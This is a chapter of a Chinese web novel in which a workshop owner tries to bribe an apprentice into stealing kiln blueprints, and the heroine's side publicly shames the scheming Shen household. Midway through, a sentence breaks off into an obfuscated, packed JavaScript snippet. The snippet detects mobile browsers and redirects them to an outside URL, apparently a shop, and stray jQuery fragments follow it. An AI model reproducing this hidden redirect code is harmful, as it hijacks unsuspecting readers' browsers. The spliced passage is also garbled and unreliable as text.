116. 尊严

作品:《碎碎平安

    玉音瓷坊坊主吴渭自认为有审时度势之能。


    他早早就同沈如琅约定了起新窑的时间,那新琅窑确实是个好东西,他是亲眼见证过的,可沈如琅父女到底与沈府不一样——这两人离开沈府就如同无根之水,哪怕如今红极一时,他们也没有能力守得住这泼天富贵。


    沈府毕竟经营多年,眼下虽技不如人,可曾经埋下的人脉与积攒的财富却不可小觑,就拿这次薛娘子的手笔来说,挥挥手就给了七十贯,五十贯用作他玉音瓷坊起新窑,二十贯则是茶水费。


    吴渭心里很明白,所谓‘茶水费’不过是寻个由头罢了,沈府给他出这笔琅窑的挛窑工费,主要目的是想借他的手拿到琅窑的图纸样式。


    若成功,之后的好处定不止这二十贯,届时他吴渭就是沈府的头一号贵客。


    打定主意后,在沈如琅依约上门挛窑时,吴渭便开始重点关注她带来的几个帮手,除了沈闳,还有两个年轻后生,一个年岁稍长,看起来比较稳重,偶尔还听得他竟唤沈如琅‘师父’,恐怕不容易收买;另一个则年轻得多,手脚不勤快不说,时不时还总跟沈如琅拌两句嘴。


    苍蝇不叮无缝的蛋。


    吴渭立刻就把主意打到了那年轻人身上,他花了两天时间用小酒小菜与那年轻人套上了近乎,这小子果然是个贪吃的性子。


    人吧,越有贪念,缺口就越多。


    “小师傅,你这天天跟着搬泥块砌新窑,能得多少工钱?够今天这一顿酒肉不?说起来这卖力气的事的确不好干,又脏又累,好处还都让别个得了去,没得福享哟,来,干一杯。”


    年轻人捏着酒碗与他碰了一碰,叹气道:“没那个命呗,能有什么办法?”


    “要说到命,就是另一回事了,我长你几岁,那可得说说你这想法了……不对,不能这么想,命啊,其实都是靠自个儿挣的。”吴渭斜着眼打量他,果然见到他颇感兴趣地抬眉看过来。


    嘴里却说:“怎么挣?天天搬泥巴就这么几个子儿,老叔,天上可不掉钱。”


    吴渭被“老叔”俩字呛了一下,连喝两口米酒压住这岁月不饶人的忧愁,继续诱哄道:“想挣钱,那得会寻门道,有时候啊,天上掉馅饼你也得看准方向,找明白地方,接得住才行。”


    这年轻人很听得懂话,马上凑过身来,“老叔有门道?给指个路呗。”


    吴渭见他一脸急色,觉得这把稳了,掏出来一吊钱,放到桌上,慢悠悠地移到他眼前,随即同样慢速的声音卖关子似的拉出一坨字眼,字字尾音都拖得老长——


    “卖力气,就那么回事,顶天了,也不过挣点糊口钱,还吃不上几顿好肉……但你若是能把新琅窑的图样搞到手,可就不一样了,搭泥巴房不就那点事儿么,有了图,你也会搭不是?哪怕到时候你就不想再干这卖力气的贱活计,转手把图卖了,能挣这一整辈子的吃穿不愁呢……”


    年轻人听得满脸焦急,不等他说完就问:“那图值多少钱?”


    吴渭空口白牙就画出个弥天大饼:“至少二百贯,要再拉扯拉扯,三五百贯也不是没可能。”


    没想到这年轻人痛快得很,马上把桌上的一吊钱收进怀中,拍板道:“这事儿包我身上了!”


    吴渭看着他急功近利的背影,慢悠悠地啜了口酒,倍感舒泰。


    没见过世面的穷鬼就是好骗。


    揣着一吊钱的‘穷鬼’却喜滋滋来到准备收工的沈如琅面前,他手脚利落地帮忙拾掇了工具,等离开玉音瓷坊好一段路后,献宝似的掏出那一吊钱拎到沈如琅眼前晃悠,“沈姐姐,我今天得了笔横财。”


    沈如琅无奈叹气,“你什么时候把这称呼改改?你师父叫我姐姐,你怎么也跟着叫?你跟你师父一个辈儿么?”嘴上这么说,心里却是不指望他真能改,眼神转而落到那吊钱上,“什么横财?怎么得的?”


    少年眨巴着眼睛道:“吴坊主给的,他说我要能从你那偷出琅窑图样来,还有更多的钱等着我,至少二百贯。”


    沈如琅登时柳眉倒竖,声音都变了调,“什么?”


    原本准备回明月巷的脚步瞬间转向,一行人来到天枢斋。


    阿慈把横财随手扔到桌上,抓起王蔺辰买回来的烤羊腿就凶猛开吃,王蔺辰肉痛地瞪了他一眼,见谢织星正全神贯注听沈如琅说事儿,也顾不上吃,就把半盘羊排也移到了阿慈面前。


    谢织星听完后皱起眉,“这个吴渭怎么那么爱蹦跶,他还有正事儿么?怎么天天光盘算别人,玉音瓷坊的前景并不好,他再这么瞎搞,瓷坊会倒闭。”


    王蔺辰忍不住笑了,“那不挺好?等他黔驴技穷,我们超低价收购玉音瓷坊,还有现成的新窑炉,多好。”


    沈如琅气愤道:“他这么给我大伯卖命,肯定得了不少好处,而且他要是没成,后头肯定还会有别人,防不胜防……他们真是小人做派!”


    与人斗法这种事,是王蔺辰的舒适区,谢织星这会儿又有心思吃羊排了,还顺带喝了口热汤,眼神晶亮地看向王蔺辰。


    “沈娘子会吵架么?唔,你最好会……这样就方便得多。”他修长的手指点了点铜钱,“带着它,直接到沈府门口嚷嚷去,就说他们下作,技不如人不肯认,背后耍阴招派人来暗地里偷技,偷技还不肯给个像样的价码,一贯钱打发要饭的呢。”


    阿慈两个腮帮子堵满了羊肉,忽然眯起眼睛剜了王蔺辰一眼,怀疑自己被阴阳了。


    谢织星顺手拍了拍他肩膀,“没说你,他这是故意讽刺沈府小气。”说着把另一碗热汤递给他。


    阿慈便不计较了,继续低头奋战羊排。


    王蔺辰出的是个损招,但效果极好。


    沈如琅花费三天时间训练了一番‘大声说话’的技能,而后带着一贯钱到沈府门口兴师问罪去了,出于稳妥考虑,她还请来了能说会道的余娘子,却没想到余娘子战力惊人,直接越俎代庖,几乎就没给她留下施展空间。


    中气十足的嗓门带着些许尖锐鸣音,几句话就吸引了一群行人围观,她还根据王蔺辰给出的中心思想做了不少发散,那字字句句嘈嘈切切,宛如大珠小珠倾落玉盘,暴风骤雨似的把沈府砸成了个筛子。


    “哟,这是哪门子的高门大户呀,收买人办坏事就出一贯钱,啧啧啧,你们买的可是后半辈子吃饭的家伙事儿!这是两头骗呐!我呸!黑心算盘打得,几代人的阴德都叫你们损完啦!前头逼得亲侄女逃出家门去,这还不算呐,还得倒过来偷人家秘技,哎哟,这天底下的好处就该你们沈府得呗,一家子属貔貅呢,瞅瞅你们这光进不出的嘴脸,一肚子屎尿屁往喉咙口撺掇,那真是七窍喷粪的恶臭!”


    围观好事儿的越来越多,不出半个时辰,沈府的‘光荣事迹’便传扬开了。


    沈如琅在旁默默闭嘴,觉得真是术业有专攻。


    而始终闭门不做回应的沈府,其实内里也已经炸开了锅。


    沈如翰好不容易拾起了自己的斗志,每天对着沈氏的挛窑图纸闷头研究,尚未琢磨出些许眉目,骤然听到这么一档子烂事儿,当即就对父母亲发了大火。


    “再怎么着,我是沈家的嫡传弟子,是你亲手传给我的!可你……你和母亲却叫人向他们偷技?你们怎么能做出这样的事?往后,我们沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351540|182999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家哪里还有脸面出去见人!爹,不是您说的吗?只要有挛窑这门技艺在,有的是荣华富贵在前,现如今你们这样做法,是什么意思?什么意思?啊?”


    薛娘子不说话,撇过头不敢直视儿子的目光,沈闰则沉着脸,试图扮演一个有大谋略而隐忍负重的家主。


    沈如翰双目赤红,不知何时有泪流下,淌在脸颊上很快就形成冰冷的一条触感,像眼睛底下趴了两条蜿蜒的细蛇,淬了毒的叉舌不断刺舔着他,他觉得父母亲的面目已经模糊不明。


    “为什么?为什么要做这样的事?你们说话啊!”


    在暴烈的情绪面前,沉默永远是伤人最深的那把刀。


    沈如翰宁可沈闰端起父亲的架子,指着他的鼻子与他大吵一通,把他那些自以为高明的想法和手段说出来,指责他太年轻太狂傲,也好过像现在这样一言不发地坐着,稳稳当当坐实了他那些上不去台面的下作心思。


    他越沉默,沈如翰就越觉得父亲两个字像是被燎烈的火光给烧着了,蜡似的,摧枯拉朽地融瘫下来,瞬间功夫,就成了面目可憎的一坨窝囊样。


    比遭遇巨大灾殃还要更难接受的,是“父亲”两个字的坍塌,尤其是一个曾经手握技艺、站在家族顶端的父亲。


    沈如翰的怒火发到一半就哑了。


    炮仗浸了水,一肚子死灰。


    他失望至极地走出了门,却停下脚步,半晌没动静。


    房间里两座冰雕终于回过神来,沈闰率先摆出家主姿态,对身边的妻子埋怨道:“你看看你,办的什么事?怎么那个姓吴的这样不牢靠?不是另外给了他二十贯钱?竟叫人捏了把柄去!”


    薛娘子很想针锋相对地回敬两句,可这事儿虽是他们夫妻两个一起商量的,执行的却只她一个,气闷了片刻,恨道:“我哪晓得姓吴的这样做事?当时找他谈,他灵光得很,我只说‘茶水钱’三个字,他就懂了,瞧那模样,挺像个会办事儿的。”


    沈闰也知道自己的埋怨最好适可而止,便收敛语气,“那接下来要如何?这事儿闹成这样,丢人丢大了。”


    薛娘子道:“我们抵死不认,他们能怎的?拿个一贯钱就上门来撒泼,谁知那一贯钱是不是他们无中生有?”


    “可派谁去澄清这些烂糟事儿?又找谁澄清去?”


    沈府倒的是市肆间的口碑,而非具体某个人眼中的坏印象,被搅和这么一通,连个说理的地方都寻不出。


    房间再度陷入沉默。


    听壁脚的沈如翰气得冷笑,他忽然觉得自己若是这么直接走开就太亏了,于是转头折返,站在门槛外面冷冷看着房里的两人,“真是你们做下的事,就该认,敢做不敢认,却还在这斤斤计较地算计!我今日倒觉得,不怪五叔和如琅要与沈府断亲!”


    两人谁也没想到他竟没走!


    一时间,脸色精彩纷呈,堪比窑变。


    沈如翰本还想说两句难听的话,但看到母亲尴尬又沉痛的脸色,到底没说出来,他气得脚步踉跄,这回终于是走得彻底。


    回到自己的房里,他越想越觉窝囊,气得摔了一套茶盏。


    妻子闻声而来,沈如翰看着她忧心忡忡的脸色,想起这会儿还在襁褓里的孩子,终是缓和了脸色,“没什么事,你先回房休息。”


    曾几何时,他深深地信赖着父亲,也真的以为是沈如琅偷走了沈家的挛窑技艺,企图自立门户,如今看来,竟是错得离谱。


    沈如翰怔怔看着地上碎裂的茶盏,四分五裂的碎瓷边缘闪着锐利的光,那芒好似薛娘子与沈闰自作聪明的种种谋划,毫不客气地肢解了他全部尊严。